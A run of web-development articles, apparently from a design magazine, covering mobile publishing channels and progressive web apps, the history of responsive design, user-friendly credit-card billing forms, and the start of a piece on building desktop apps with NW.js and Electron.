We discovered that 6.5% of news websites use smart app banners to notify mobile users of their apps, whereas all of the other verticals we analyzed (blogging, magazines and e-commerce) scored below 2% usage.
What’s interesting is that the majority of news websites that have been identified as using smart app banners are responsive. In other words, the strategy at play for news publishers (mostly newspapers) is to be where their readers are: both in app stores and on the mobile web.
The thinking behind maintaining both mobile channels and splitting the mobile audience is that (1) a responsive website would be the first contact that occasional mobile users have with the publisher, and (2) a dedicated application would make a lot of sense for loyal mobile users.
To put it differently, consider investing in an application for an app store when the mobile retention rate for your website is already high. Let’s look at some additional numbers that support this rule.
According to SimilarWeb’s “State of Mobile Web US 201530” report, roughly 56% of consumer traffic to the leading US websites is now from mobile devices. Given an average click-to-install rate of 13%, an online publisher using a smart app banner and inviting mobile users to install their application would succeed at converting a little over 7% of mobile traffic into app installations.
Data shows that losing 80% of mobile app users is the norm31. Mobile intelligence startup Quettra put together some exclusive data and graphs on retention rates, based on anonymized data points from over 125 million mobile phones, and showed that the average app loses 77% of its daily active users within the first 3 days of installation. Within 30 days, it has lost 90% of daily active users. Within 90 days, over 95%.
Based on our findings, it would appear that online publishers and stores have devised a strategy whereby their responsive websites act mostly as acquisition channels for their mobile apps. However, it’s easy to see how publishers end up investing tens of thousands of dollars, spending months developing and promoting their applications, converting a staggering 1.5% of their existing web traffic into mobile app users after 90 days.
The question then becomes, How do we engage mobile users and get them to use the app on a daily basis?
Accelerated Mobile Pages Outperform Facebook Instant Articles Link
Last year saw both Google and Facebook launch competing initiatives: Accelerated Mobile Pages (AMPs) and Instant Articles, respectively.
According to Google’s own reviews32, some 700,000 domains have published AMP pages, with real benefits to publishers, ranging from a higher return rate among users of mobile search to increased monthly unique visitors and impressions. This is indeed impressive, but we wanted to go beyond the vanity metrics and see the real percentage of websites that have implemented AMP.
After careful examination, we identified that approximately 10% of websites support AMP (close to the 11.6%33 identified in research conducted by Searchmetrics), whereas only a little over 2% have integrated Facebook’s Instant Articles. And though WordPress comes with plugins for both AMP and Instant Articles, it seems that in terms of active installations, AMP is leading 100,000 to 10,000.
We wanted to see how industry experts weigh the pros and cons of AMP and Instant Articles. The general consensus is summarized below:
Pros
Cons
Google’s AMP
Mobile content loads incredibly fast.
Loading time is not a direct ranking factor for organic search results. There is some conjecture that faster-loading websites mean better click-through rates and longer time spent on website.
Mobile content for news websites appears in a special carousel at the top of organic search results.
Using AMP involves some work. If your organization is strapped for resources, know that this is more than just flipping a switch.
One of the big ranking factors for mobile organic search results is mobile-friendliness, and you can’t get friendlier than AMP.
Not all content works with AMP. For instance, if you have piles of video content, AMP will make the text load faster, but the video will still take a bit to load.
The click-through rate when a page is featured in Google’s “Top Stories” carousel is higher.
Back in February 2016, Google pundit Jeff Jarvis stated, “The carousel layout may not always be there, so if that’s your big selling point, don’t get comfortable.”
It’s only for news and blog articles (at least for the moment).
Facebook’s Instant Articles
The format enables publishers and content providers to instantly reach a built-in audience of millions when they include their content.
The fact that it does not link over to a publisher’s website is a downside, but the benefits of adding content in a format like this are greater if you plan that content appropriately.
It creates an additional revenue stream.
Overall revenue per user from Instant Articles might be lower than what publishers would make from ads that appear directly on their website.
Small publishers and content creators get a piece of the substantial time spent in apps, which would otherwise not be available.
Integrating Instant Articles involves some work, especially to customize the look and feel of articles.
Because implementing AMP can bring more traffic from organic search results, it’s no wonder that it has become more popular than Instant Articles. Granted, the latter offers access to an additional revenue stream, but that comes at a price — giving up control over users, and giving up on converting them into subscribers.
Early Adopters Of Progressive Web Apps Report Exciting Metrics Link
A lot of attention has been paid to progressive web apps lately, and we wouldn’t miss the chance to analyze how many of the URLs we scrutinized support any of the main characteristics of progressive web apps:
HTTPS,
Offline mode,
Web push notifications,
“Add to home screen” prompts.
Progressive web apps are fully supported by Chrome and Opera. Firefox supports nearly all of their features. Microsoft Edge is working on them. The Samsung Internet browser has been making great strides this past year and has shown a strong commitment to progressive web apps, as demonstrated by Samsung’s leadership34 in some of the key standardization work. Apple has not yet fully jumped on the mobile web train: Service workers, a key component for supporting offline mode, are “under consideration”; push notifications and installation to the home screen through a browser-provided prompt are available in some form in Safari, but they are not implemented in standard ways.
This didn’t stop the Washington Post — an early adopter of progressive web app technology — from making it the default mobile experience for its web users after seeing “about 5x engagement35 — page views per visit, number of stories read” on its public-facing beta.
Before getting to the actual results, a few words on the methodology of obtaining the data. We used the Lighthouse36 extension for Chrome. It is an open-source, automated tool for improving the quality of web apps, and it can run as a Chrome extension or from the command line. We used the command line to conduct our study, and we interpreted the JSON that was returned.
First, we found that, of the 10,000 URLs we analyzed (blogs, newspapers, magazines and e-commerce websites), only about 12% support SSL. Not surprisingly, the e-commerce segment scored the highest (25%) in SSL usage. While this number is still low, it will drastically increase throughout 2017, because Google now favors HTTPS page indexing37, and Chrome will soon mark unsecure pages containing password and credit-card input fields as being “Not secure” in the URL bar38.
Next, we looked at usage of the manifest.json file, which is considered a good indication that users will be prompted to add the website to their home screen via an app install banner40 (even though they can manually add it to their home screen from the browser’s menu).
As it turns out, 3% of e-commerce websites make use of the manifest file for web applications, with blogs and digital newspapers barely reaching 0.5%. HTTP/2 is also being used mostly on e-commerce websites, although the overall percentage is as low as 4%.
In identifying usage of service workers and push notifications, fewer than 1% show up in the statistics.
Service workers enable a Progressive Web App to load instantly, regardless of the network state. A service worker is like a client-side proxy, written in JavaScript and puts developers in control of the cache and how to respond to resource requests. By pre-caching key resources, one can eliminate the dependence on the network, ensuring an instant and reliable experience for your users.
The fact that service workers are so poorly implemented on websites nowadays directly affects mobile user engagement, which is a shame because web push notifications reportedly increase engagement by four times, and those users spend twice as long on the websites. As an example, after rolling out its progressive web app, AliExpress improved its conversions for new users across all browsers by 104% and increased its iOS conversions by 82%, despite iOS not supporting the full feature set of progressive web apps.
Progressive web apps are barely seeing the light of day. However, with all of the benefits they promise, one can only hope that we’ll see more of them built in 2017.
The main conclusion is that we’re starting to see a more diversified mobile strategy from the publishing industry. No longer are they settling for an application in an app store or a responsive website as the only means of addressing their mobile users. Instead, they’re going for both apps and responsive websites and, in addition, are beginning to throw Facebook’s Instant Articles and Google’s Accelerated Mobile Pages into the mix.
Publishers are not leaving anything to chance. With four mobile channels in which to view for user attention, the quest will be not to find the best-performing channel, but rather to find a sustainable model, with all of the channels complementing each other, together increasing reach, engagement and, ultimately, revenue.
As for a “progressive” future of the mobile web, the early signs are encouraging. Progressive web apps boost mobile engagement for publishers and conversions for e-commerce websites. That’s why we, web developers and designers, should consider implementing them. The app store model is beginning to fail publishers42, and businesses are realizing that it’s no longer the holy grail they’ve been hoping for. We’re beginning to understand that we need to give the mobile web a chance to evolve, to progress beyond questions of format (i.e. fitting the screen) into the full-blown applications that until recently were only available natively via app stores.
With GraphQL, FQL, and IndexedDB2, we have new tools at our fingertips that allow us to build products that are not only more flexible but also faster. With this week’s Web Development Reading List, we’ll dive a bit deeper into these promising technologies and combine this with thoughts about the openness of the internet, ethical choices, and building inclusive products. So without further ado, let’s get started!
Chrome 57 just hit stable, now the Chrome developer team announced Chrome 58 beta4. It includes IndexedDB2.0 support and improvements to iframe navigation. Among the smaller changes are also auto-pause/resume of video on Android when the window is in the background and the fact that HTTPS is now required for the Web Notifications API.
Matthias Ott points out that it’s about time that we take back control5, reclaim our digital future and rebuild the web so that it, finally, becomes a web for everyone. And with growing surveillance and even bigger data consolidation by a few big private players, it’s now up to us to recognize the errors we make and amend our decisions accordingly to create a better web — a web that is more accessible, more private, and more independent.
Quincy Larson wrote an essay about why the future of the open internet and our way of life6 is in our hands. By comparing the history of TV, radio, and telephone, he explains why it’s up to us to prevent that the internet goes through the same cycle of commercialization and privatization as the technologies that came before.
Loren Sands-Ramshaw wrote a two-step guide on GraphQL (Part 110, Part 211), a relatively new query language that has better performance and is easier to handle as REST.
The Chrome team concluded an investigation on the Symantec Root Certificate Authority12 and now discusses when and how to distrust the entire authority due to having misissued over 30.000 certificates. If the entity is mistrusted, GeoTrust, Thawte, and other certificate authorities will be affected by the decision as well since they’re operated by Symantec.
Sometimes a user interface requires a clear “On”/“Off” switch. It’s usually a great idea when you want to show optional settings but indicate more as a checkbox does by default and in a simpler way as two radio options could provide it. Heydon Pickering now shares the technical approach to building semantic, accessible and easy-to-use toggle buttons14.
Alex Castrounis shares why estimating software development tasks by time and time tracking don’t work and how you can still get pretty accurate estimations18 to calculate the progress and a deadline for a project.
It’s interesting to see that a growing number of people now seem to ask themselves how to do good work, and I think it’s because we realize that current developments are so bad that we as individuals think about what we can do to improve our society again. Mike Monteiro is one of those people who care deeply about ethics19, now he explains why ethics can’t be a side hustle20 and why you can’t shuffle yourself out of responsibility if you’re doing a non-ethical job as your main work. It’s true that you have to start somewhere, and doing simple things in your daily life can already help to improve our society, but, in the end, if you’re getting paid for non-ethical work, you’re actively helping and promoting this work. And nothing can make this undone.
Editor’s Note: In the world of web design, we tend to become preoccupied with the here and now. In “Resilient Web Design1“, Jeremy Keith emphasizes the importance of learning from the past in order to better prepare ourselves for the future. So, perhaps we should stop and think more beyond our present moment? The following is an excerpt from Jeremy’s web book.
Design adds clarity. Using colour, typography, hierarchy, contrast, and all the other tools at their disposal, designers can take an unordered jumble of information and turn it into something that’s easy to use and pleasurable to behold. Like life itself, design can win a small victory against the entropy of the universe, creating pockets of order from the raw materials of chaos.
The Book of Kells is a beautifully illustrated manuscript created over 1200 years ago. It’s tempting to call it a work of art, but it is a work of design. The purpose of the book is to communicate a message; the gospels of the Christian religion. Through the use of illustration and calligraphy, that message is conveyed in an inviting context, making it pleasing to behold.
6The incipit to the Gospel of Matthew in the Book of Kells. (Large preview7)
Design works within constraints. The Columban monks who crafted the Book of Kells worked with four inks on vellum, a material made of calfskin. The materials were simple but clearly defined. The cenobitic designers knew the hues of the inks, the weight of the vellum, and crucially, they knew the dimensions of each page.
Materials and processes have changed and evolved over the past millennium or so. Gutenberg’s invention of movable type was a revolution in production. Whereas it would have taken just as long to create a second copy of the Book of Kells as it took to create the first, multiple copies of the Gutenberg bible could be produced with much less labour. Even so, many of the design patterns such as drop caps and columns were carried over from illuminated manuscripts. The fundamental design process remained the same: knowing the width and height of the page, designers created a pleasing arrangement of elements.
The techniques of the print designer reached their zenith in the 20th century with the rise of the Swiss Style. Its structured layout and clear typography is exemplified in the work of designers like Josef Müller‐Brockmann and Jan Tschichold. They formulated grid systems and typographic scales based on the preceding centuries of design.
9A framework for medieval manuscripts by Jan Tschichold. (Large preview10)
Knowing the ratio of the dimensions of a page, designers could position elements with maximum effect. The page is a constraint and the grid system is a way of imposing order on it.
When the web began to conquer the world in the 1990s, designers started migrating from paper to pixels. David Siegel’s Creating Killer Websites came along at just the right time. Its clever TABLE and GIF hacks allowed designers to replicate the same kind of layouts that they had previously created for the printed page.
Those TABLE layouts later became CSS layouts, but the fundamental thinking remained the same: the browser window — like the page before it — was treated as a known constraint upon which designers imposed order.
There’s a problem with this approach. Whereas a piece of paper or vellum has a fixed ratio, a browser window could be any size. There’s no way for a web designer to know in advance what size any particular person’s browser window will be.
Designers had grown accustomed to knowing the dimensions of the rectangles they were designing within. The web removed that constraint.
There’s nothing quite as frightening as the unknown. These words of former US Secretary of Defense Donald Rumsfeld should be truly terrifying (although the general consensus at the time was that they sounded like nonsense):
There are known knowns. There are things we know we know. We also know there are known unknowns, that is to say we know there are some things we do not know. But there are also unknown unknowns — the ones we don’t know we don’t know.
The ratio of the browser window is just one example of a known unknown on the web. The simplest way to deal with this situation is to use flexible units for layout: percentages rather than pixels. Instead, designers chose to pretend that the browser dimensions were a known known. They created fixed‐width layouts for one specific window size.
In the early days of the web, most monitors were 640 pixels wide. Web designers created layouts that were 640 pixels wide. As more and more people began using monitors that were 800 pixels wide, more and more designers began creating 800 pixel wide layouts. A few years later, that became 1024 pixels. At some point web designers settled on the magic number of 960 pixels as the ideal width.
It was as though the web design community were participating in a shared consensual hallucination. Rather than acknowledge the flexible nature of the browser window, they chose to settle on one set width as the ideal …even if that meant changing the ideal every few years.
In the year 2000 the online magazine A List Apart published an article entitled A Dao of Web Design. It has stood the test of time remarkably well.
In the article, John Allsopp points out that new mediums often start out by taking on the tropes of a previous medium. Scott McCloud makes the same point in his book Understanding Comics:
Each new medium begins its life by imitating its predecessors. Many early movies were like filmed stage plays; much early television was like radio with pictures or reduced movies.
With that in mind, it’s hardly surprising that web design began with attempts to recreate the kinds of layouts that designers were familiar with from the print world. As John put it:
“Killer Web Sites” are usually those which tame the wildness of the web, constraining pages as if they were made of paper — Desktop Publishing for the Web.
Web design can benefit from the centuries of learning that have informed print design. Massimo Vignelli, whose work epitomises the Swiss Style, begins his famous Canon with a list of The Intangibles including discipline, appropriateness, timelessness, responsibility, and more. Everything in that list can be applied to designing for the web. Vignelli’s Canon also includes a list of The Tangibles. That list begins with paper sizes.
The web is not print. The known constraints of paper — its width and height — simply don’t exist. The web isn’t bound by pre‐set dimensions. John Allsopp’s A Dao Of Web Design called on practitioners to acknowledge this:
The control which designers know in the print medium, and often desire in the web medium, is simply a function of the limitation of the printed page. We should embrace the fact that the web doesn’t have the same constraints, and design for this flexibility.
This call to arms went unheeded. Designers remained in their Matrix-like consensual hallucination where everyone’s browser was the same width. That’s understandable. There’s a great comfort to be had in believing a reassuring fiction, especially when it confers the illusion of control.
There is another reason why web designers clung to the comfort of their fixed‐width layouts. The tools of the trade encouraged a paper‐like approach to designing for the web.
It’s a poor craftsperson who always blames their tools. And yet every craftsperson is influenced by their choice of tools. As Marshall McLuhan’s colleague John Culkin put it, “we shape our tools and thereafter our tools shape us.”
When the discipline of web design was emerging, there was no software created specifically for visualising layouts on the web. Instead designers co‐opted existing tools.
Adobe Photoshop was originally intended for image manipulation; touching up photos, applying filters, compositing layers, and so on. By the mid nineties it had become an indispensable tool for graphic designers. When those same designers began designing for the web, they continued using the software they were already familiar with.
If you’ve ever used Photoshop then you’ll know what happens when you select “New” from the “File” menu: you will be asked to enter fixed dimensions for the canvas you are about to work within. Before adding a single pixel, a fundamental design decision has been made that reinforces the consensual hallucination of an inflexible web.
Photoshop alone can’t take the blame for fixed‐width thinking. After all, it was never intended for designing web pages. Eventually, software was released with the specific goal of creating web pages. Macromedia’s Dreamweaver was an early example of a web design tool. Unfortunately it operated according to the idea of WYSIWYG: What You See Is What You Get.
While it’s true that when designing with Dreamweaver, what you see is what you get, on the web there is no guarantee that what you see is what everyone else will get. Once again, web designers were encouraged to embrace the illusion of control rather than face the inherent uncertainty of their medium.
It’s possible to overcome the built‐in biases of tools like Photoshop and Dreamweaver, but it isn’t easy. We might like to think that we are in control of our tools, that we bend them to our will, but the truth is that all software is opinionated software. As futurist Jamais Cascio put it, “software, like all technologies, is inherently political”:
Code inevitably reflects the choices, biases and desires of its creators.
Small wonder then that designers working with the grain of their tools produced websites that mirrored the assumptions baked into those tools — assumptions around the ability to control and tame the known unknowns of the World Wide Web.
By the middle of the first decade of the twenty‐first century, the field of web design was propped up by multiple assumptions:
that everyone was browsing with a screen large enough to view a 960 pixel wide layout;
that everyone had broadband internet access, mitigating the need to optimise the number and file size of images on web pages;
that everyone was using a modern web browser with the latest plug‐ins installed.
A minority of web designers were still pleading for fluid layouts. I counted myself amongst their number. We were tolerated in much the same manner as a prophet of doom on the street corner wearing a sandwich board reading “The End Is Nigh” — an inconvenient but harmless distraction.
There were even designers suggesting that Photoshop might not be the best tool for the web, and that we could consider designing directly in the browser using CSS and HTML. That approach was criticised as being too constraining. As we’ve seen, Photoshop has its own constraints but those had been internalised by designers so comfortable in using the tool that they no longer recognised its shortcomings.
This debate around the merits of designing Photoshop comps and designing in the browser would have remained largely academic if it weren’t for an event that would shake up the world of web design forever.
An iPod. A phone. And an internet communicator. An iPod. A phone …are you getting it? These are not three separate devices. This is one device. And we are calling it: iPhone.
With those words in 2007, Steve Jobs unveiled a mobile device that could be used to browse the World Wide Web.
Web‐capable mobile devices existed before the iPhone, but they were mostly limited to displaying a specialised mobile‐friendly file format called WML. Very few devices could render HTML. With the introduction of the iPhone and its competitors, handheld devices were shipping with modern web browsers capable of being first‐class citizens on the web. This threw the field of web design into turmoil.
Assumptions that had formed the basis for an entire industry were now being called into question:
How do we know if people are using wide desktop screens or narrow handheld screens?
How do we know if people are browsing with a fast broadband connection at home or with a slow mobile network?
How do we know if a device even supports a particular technology or plug‐in?
The rise of mobile devices was confronting web designers with the true nature of the web as a flexible medium filled with unknowns.
The initial reaction to this newly‐exposed reality involved segmentation. Rather than rethink the existing desktop‐optimised website, what if mobile devices could be shunted off to a separate silo? This mobile ghetto was often at a separate subdomain to the “real” site: m.example.com or mobile.example.com.
This segmented approach was bolstered by the use of the term “the mobile web” instead of the more accurate term “the web as experienced on mobile.” In the tradition of their earlier consensual hallucinations, web designers were thinking of mobile and desktop not just as separate classes of device, but as entirely separate websites.
Determining which devices were sent to which subdomain required checking the browser’s user‐agent string against an ever‐expanding list of known browsers. It was a Red Queen’s race just to stay up to date. As well as being error‐prone, it was also fairly arbitrary. While it might have once been easy to classify, say, an iPhone as a mobile device, that distinction grew more difficult over time. With the introduction of tablets such as the iPad, it was no longer clear which devices should be redirected to the mobile URL. Perhaps a new subdomain was called for — t.example.com or tablet.example.com — along with a new term like “the tablet web”. But what about the “TV web” or the “internet‐enabled fridge web?”
The practice of creating different sites for different devices just didn’t scale. It also ran counter to a long‐held ideal called One Web:
One Web means making, as far as is reasonable, the same information and services available to users irrespective of the device they are using.
But this doesn’t mean that small‐screen devices should be served page layouts that were designed for larger dimensions:
However, it does not mean that exactly the same information is available in exactly the same representation across all devices.
If web designers wished to remain true to the spirit of One Web, they needed to provide the same core content at the same URL to everyone regardless of their device. At the same time, they needed to be able to create different layouts depending on the screen real‐estate available.
The shared illusion of a one‐size‐fits‐all approach to web design began to evaporate. It was gradually replaced by an acceptance of the ever‐changing fluid nature of the web.
In April of 2010 Ethan Marcotte stood on stage at An Event Apart in Seattle, a gathering for people who make websites. He spoke about an interesting school of thought in the world of architecture: responsive design, the idea that buildings could change and adapt according to the needs of the people using the building. This, he explained, could be a way to approach making websites.
One month later he expanded on this idea in an article called Responsive Web Design. It was published on A List Apart, the same website that had published John Allsopp’s A Dao Of Web Design ten years earlier. Ethan’s article shared the same spirit as John’s earlier rallying cry. In fact, Ethan begins his article by referencing A Dao Of Web Design.
Both articles called on web designers to embrace the idea of One Web. But whereas A Dao Of Web Design was largely rejected by designers comfortable with their WYSIWYG tools, Responsive Web Design found an audience of designers desperate to resolve the mobile conundrum.
Writer Steven Johnson has documented the history of invention and innovation. In his book Where Good Ideas Come From, he explores an idea called “the adjacent possible”:
At every moment in the timeline of an expanding biosphere, there are doors that cannot be unlocked yet. In human culture, we like to think of breakthrough ideas as sudden accelerations on the timeline, where a genius jumps ahead fifty years and invents something that normal minds, trapped in the present moment, couldn’t possibly have come up with. But the truth is that technological (and scientific) advances rarely break out of the adjacent possible; the history of cultural progress is, almost without exception, a story of one door leading to another door, exploring the palace one room at a time.
This is why the microwave oven could not have been invented in medieval France; there are too many preceding steps required — manufacturing, energy, theory — to make that kind of leap. Facebook could not exist without the World Wide Web, which could not exist without the internet, which could not exist without computers, and so on. Each step depends upon the accumulated layers below.
By the time Ethan coined the term Responsive Web Design a number of technological advances had fallen into place. As I wrote in the foreword to Ethan’s subsequent book on the topic:
The technologies existed already: fluid grids, flexible images, and media queries. But Ethan united these techniques under a single banner, and in so doing changed the way we think about web design.
Fluid grids. The option to use percentages instead of pixels has been with us since the days of TABLE layouts.
Flexible images. Research carried out by Richard Rutter showed that browsers were becoming increasingly adept at resizing images. The intrinsic dimensions of an image need not be a limiting factor.
Media queries. Thanks to the error‐handling model of CSS, browsers had been adding feature upon feature over time. One of those features was CSS media queries — the ability to define styles according to certain parameters, such as the dimensions of the browser window.
The layers were in place. A desire for change — driven by the relentless rise of mobile — was also in place. What was needed was a slogan under which these could be united. That’s what Ethan gave us with Responsive Web Design.
The first experiments in responsive design involved retrofitting existing desktop‐centric websites: converting pixels to percentages, and adding media queries to remove the grid layout on smaller screens. But this reactive approach didn’t provide a firm foundation to build upon. Fortunately another slogan was able to encapsulate a more resilient approach.
Luke Wroblewski coined the term Mobile First in response to the ascendency of mobile devices:
Losing 80% of your screen space forces you to focus. You need to make sure that what stays on the screen is the most important set of features for your customers and your business. There simply isn’t room for any interface debris or content of questionable value. You need to know what matters most.
If you can prioritise your content and make it work within the confined space of a small screen, then you will have created a robust, resilient design that you can build upon for larger screen sizes.
Stephanie and Bryan Rieger encapsulated the mobile‐first responsive design approach:
The lack of a media query is your first media query.
In this context, Mobile First is less about mobile devices per se, and instead focuses on prioritising content and tasks regardless of the device. It discourages assumptions. In the past, web designers had fallen foul of unfounded assumptions about desktop devices. Now it was equally important to avoid making assumptions about mobile devices.
Web designers could no longer make assumptions about screen sizes, bandwidth, or browser capabilities. They were left with the one aspect of the website that was genuinely under their control: the content.
Echoing A Dao Of Web Design, designer Mark Boulton put this new approach into a historical context:
Embrace the fluidity of the web. Design layouts and systems that can cope to whatever environment they may find themselves in. But the only way we can do any of this is to shed ways of thinking that have been shackles around our necks. They’re holding us back.
Start designing from the content out, rather than the canvas in.
This content‐out way of thinking is fundamentally different to the canvas‐in approach that dates all the way back to the Book of Kells. It asks web designers to give up the illusion of control and create a materially‐honest discipline for the World Wide Web.
Relinquishing control does not mean relinquishing quality. Quite the opposite. In acknowledging the many unknowns involved in designing for the web, designers can craft in a resilient flexible way that is true to the medium.
Texan web designer Trent Walton was initially wary of responsive design, but soon realised that it was a more honest, authentic approach than creating fixed‐width Photoshop mock‐ups:
My love for responsive centers around the idea that my website will meet you wherever you are — from mobile to full‐blown desktop and anywhere in between.
For years, web design was dictated by the designer. The user had no choice but to accommodate the site’s demand for a screen of a certain size or a network connection of a certain speed. Now, web design can be a conversation between the designer and the user. Now, web design can reflect the underlying principles of the web itself.
On the twentieth anniversary of the World Wide Web, Tim Berners‐Lee wrote an article for Scientific American in which he reiterated those underlying principles:
The primary design principle underlying the Web’s usefulness and growth is universality. The Web should be usable by people with disabilities. It must work with any form of information, be it a document or a point of data, and information of any quality — from a silly tweet to a scholarly paper. And it should be accessible from any kind of hardware that can connect to the Internet: stationary or mobile, small screen or large.
The checkout page is the last page a user visits before finally decide to complete a purchase on your website. It’s where window shoppers turn into paying customers. If you want to leave a good impression, you should provide optimal usability of the billing form and improve it wherever it is possible to. In less than one day, you can add some simple and useful features to your project to make your billing form user-friendly and easy to fill in.
Credit-card details are among the most commonly corrected fields in forms. Fortunately, nowadays almost every popular browser has an autofill feature, allowing the users to store their card data in the browser and to fill out form fields more quickly. Also, since iOS 8, mobile Safari users can scan their card’s information with the iPhone’s camera and fill in their card’s number, expiration date and name fields automatically. Autocomplete is simple, clear and built into HTML5, so we’ll add it to our form first.
Both autofill and card-scanning work only with forms that have special attributes: autocomplete for modern browsers (listed in the HTML5 standard5) and name for browsers without HTML5 support.
Don’t forget to use placeholder in input fields to help users understand the required data formats. We can provide input validation with HTML5 attributes: pattern (based on JavaScript regular expressions) and required. For example, with pattern="[0-9s]{14,23}" required attributes in a field, the user won’t be able to submit the form if the field is empty, has a non-numeric or non-space symbol, or is shorter than 14 symbols or longer than 23 symbols.
Once the user has saved their card data in the browser, we can see how it works:
Notice that using one field for the expiration date (MM/YYYY) is not recommended because Safari requires separate month and year fields to autocomplete.
Of course, autocomplete and autofill attributes are widely used not only for billing forms but also for names, email and postal addresses and passwords. You can save the user time and make them even happier by correctly using these attributes in your forms.
Even though we now have autocomplete, Google Payments and Apple Wallet, many users still prefer to enter their credit-card details manually, and no one is safe from making a typo with a 16-digit number. Long numbers are hard to read, even more painful to write and almost impossible to verify.
To help users feel comfortable with their long card number, we can divide it into four-digit groups by adding the simple VanillaMasker9 library by BankFacil to our project. Inputted data will be transformed to a masked string. So, we can add a custom pattern with spaces after every fourth digit of a card number, a two-digit pattern for the expiration month and a four-digit pattern for the expiration year. VanillaMasker can also verify data formats: If we have passed only “9” (the default number for the masker) to the ID, then all non-numeric characters will be deleted after input.
npm install vanilla-masker --save
In our index.js file, let’s import the library and use it with one string for every field:
The masker will erase characters with an incorrect value type or length, although our HTML validation will notify the user about invalid data only after the form has been submitted. But we can also check a card number’s correctness as it is being filled in. Did you know that all plastic credit-card numbers are generated according to the simple and effective Luhn algorithm? It was created in 1954 by Hans Peter Luhn and subsequently set as an international standard. We can include the Luhn algorithm to pre-validate the card number’s input field and warn the user about a typo.
To do this, we can use the tiny fast-luhn11 npm package, adapted from Shirtless Kirk’s gist12. We need to add it to our project’s dependencies:
npm install fast-luhn --save
To use fast-luhn, we’ll import it in a module and just call luhn(number) on the input event to check whether the number is correct. For example, let’s add the card__input_invalid class to change the outline and field’s text color when the user has made an accidental error and a check has not been passed. Note that VanillaMasker adds a space after every four-digit group, so we need to convert the inputted value to a plain number without spaces using the split and join methods, before calling lunh.
To prevent luhn from being called while the user is typing, let’s call it only if the inputted number is as long as the minimum length with spaces (14 characters, including 12 digits) or longer, or else remove the card__input_invalid class.
The Luhn algorithm is also used for some discount card numbers, IMEI numbers, National Provider Identifier numbers in the US, and Social Insurance Numbers in Canada. So, this package isn’t limited to credit cards.
Many users want to check their card details with their own eyes, even if they know the form is being validated. But human beings perceive things in a way that makes comparison of differently styled numbers a little confusing. As we want the interface to be simple and intuitive, we can help users by showing a font that looks similar to the one they would find on a real card. Also, the font will make our card-like input form look more realistic and appropriate.
Last but not least, you can pleasantly surprise customers by adding a coloring feature to the form. Every bank has its own brand color, which usually dominates that bank’s card. To make a billing form even more user-friendly, we can use this color and print the bank’s name above the form fields (corresponding to where it appears on a real card). This will also help the user to avoid making a typo in the number and to ensure they have picked the right card.
We can identify the bank of every user’s card by the first six digits, which contain the Issuer Identification Number (IIN) or Bank Identification Number (BIN). Banks DB19 by Ramoona is a database that gets a bank’s name and brand color from this prefix. The author has set up a demo of Banks DB20.
This database is community-driven, so it doesn’t contain all of the world’s bank. If a user’s bank isn’t represented, the space for the bank’s name will be empty and the background will show the default color (#fafafa).
Banks DB assumes one of two ways of using it: with PostCSS or with CSS in JavaScript. We are using it with PostCSS. If you are new to PostCSS, this is a good reason to start using it. You can learn more about PostCSS in the official documentation21 or in Drew Minns’ article “An Introduction to PostCSS22”.
We need to install the PostCSS Banks DB23 plugin to set the CSS template for Banks DB and install the PostCSS Contrast24 plugin to improve the readability of the bank’s name:
After that, we’ll add these new plugins to our PostCSS process in accordance with the module bundler and the load configuration used in our project. For example, with Webpack and postcss-load-config25, simply add the new plugins to the .postcssrc file.
Then, in our style.css file, we need to add a new class rule template for Banks DB with the postcss-contrast plugin:
We could also set a long transition on the whole .card class to smoothly fade in and out the background and text color, so as not to startle users with an abrupt change:
.card { … transition: background 0.6s, color 0.6s; }
Now, import Banks DB in index.js, and use it in the input event listener. If the BIN is represented in the database, we’ll add the class containing the bank’s name to the form in order to insert the name and change the form’s background.
Improving your billing form can make the user experience much more intuitive and, as a result, ensure user convenience and increase confidence in your product. It’s an important part of web applications. We can improve it quickly and easily using these simple features:
suitable autocomplete and name attributes for autofilling,
placeholder attribute to inform the user of the input format,
pattern and require attributes to prevent incorrect submission of form,
VanillaMasker to separate card digits,
fast-luhn to verify the card number,
Halter font for easy comparison,
Banks DB for a nicer presentation of colors.
Note that only Banks DB requires a module bundler; you can use the others within the simple script. Adding all of this functionality to your checkout page would most likely take less than a day.
I started out as a web developer, and that’s now one part of what I do as a full-stack developer, but never had I imagined I’d create things for the desktop. I love the web. I love how altruistic our community is, how it embraces open-source, testing and pushing the envelope. I love discovering beautiful websites and powerful apps. When I was first tasked with creating a desktop app, I was apprehensive and intimidated. It seemed like it would be difficult, or at least… different.
It’s not an attractive prospect, right? Would you have to learn a new language or three? Imagine an archaic, alien workflow, with ancient tooling, and none of those things you love about the web. How would your career be affected?
OK, take a breath. The reality is that, as a web developer, not only do you already possess all of the skills to make great modern desktop apps, but thanks to powerful new APIs at your disposal, the desktop is actually where your skills can be leveraged the most.
In this article, we’ll look at the development of desktop applications using NW.js1 and Electron2, the ups and downs of building one and living with one, using one code base for the desktop and the web, and more.
First of all, why would anyone create a desktop app? Any existing web app (as opposed to a website, if you believe in the distinction) is probably suited to becoming a desktop app. You could build a desktop app around any web app that would benefit from integration in the user’s system; think native notifications, launching on startup, interacting with files, etc. Some users simply prefer having certain apps there permanently on their machine, accessible whether they have a connection or not.
Maybe you’ve an idea that would only work as a desktop app; some things simply aren’t possible with a web app (at least yet, but more about that in a little bit). You could create a self-contained utility app for internal company use, without requiring anyone to install anything other than your app (because Node.js in built-in). Maybe you’ve an idea for the Mac App Store. Maybe it would simply be a fun side project.
It’s hard to sum up why you should consider creating a desktop app because there are so many kinds of apps you could create. It really depends on what you’d like to achieve, how advantageous you find the additional APIs, and how much offline usage would enhance the experience for your users. For my team, it was a no-brainer because we were building a chat application7. On the other hand, a connection-dependent desktop app that doesn’t really have any desktop integration should be a web app and a web app alone. It wouldn’t be fair to expect a user to download your app (which includes a browser of its own and Node.js) when they wouldn’t get any more value from it than from visiting a URL of yours in their favorite browser.
Instead of describing the desktop app you personally should build and why, I’m hoping to spark an idea or at least spark your interest in this article. Read on to see just how easy it is to create powerful desktop apps using web technology and what that can afford you over (or alongside of) creating a web app.
Desktop applications have been around a long time but you don’t have all day, so let’s skip some history and begin in Shanghai, 2011. Roger Wang, of Intel’s Open Source Technology Center, created node-webkit; a proof-of-concept Node.js module that allowed the user to spawn a WebKit browser window and use Node.js modules within <script> tags.
After some progress and a switch from WebKit to Chromium (the open-source project Google Chrome is based on), an intern named Cheng Zhao joined the project. It was soon realized that an app runtime based on Node.js and Chromium would make a nice framework for building desktop apps. The project went on be quite popular.
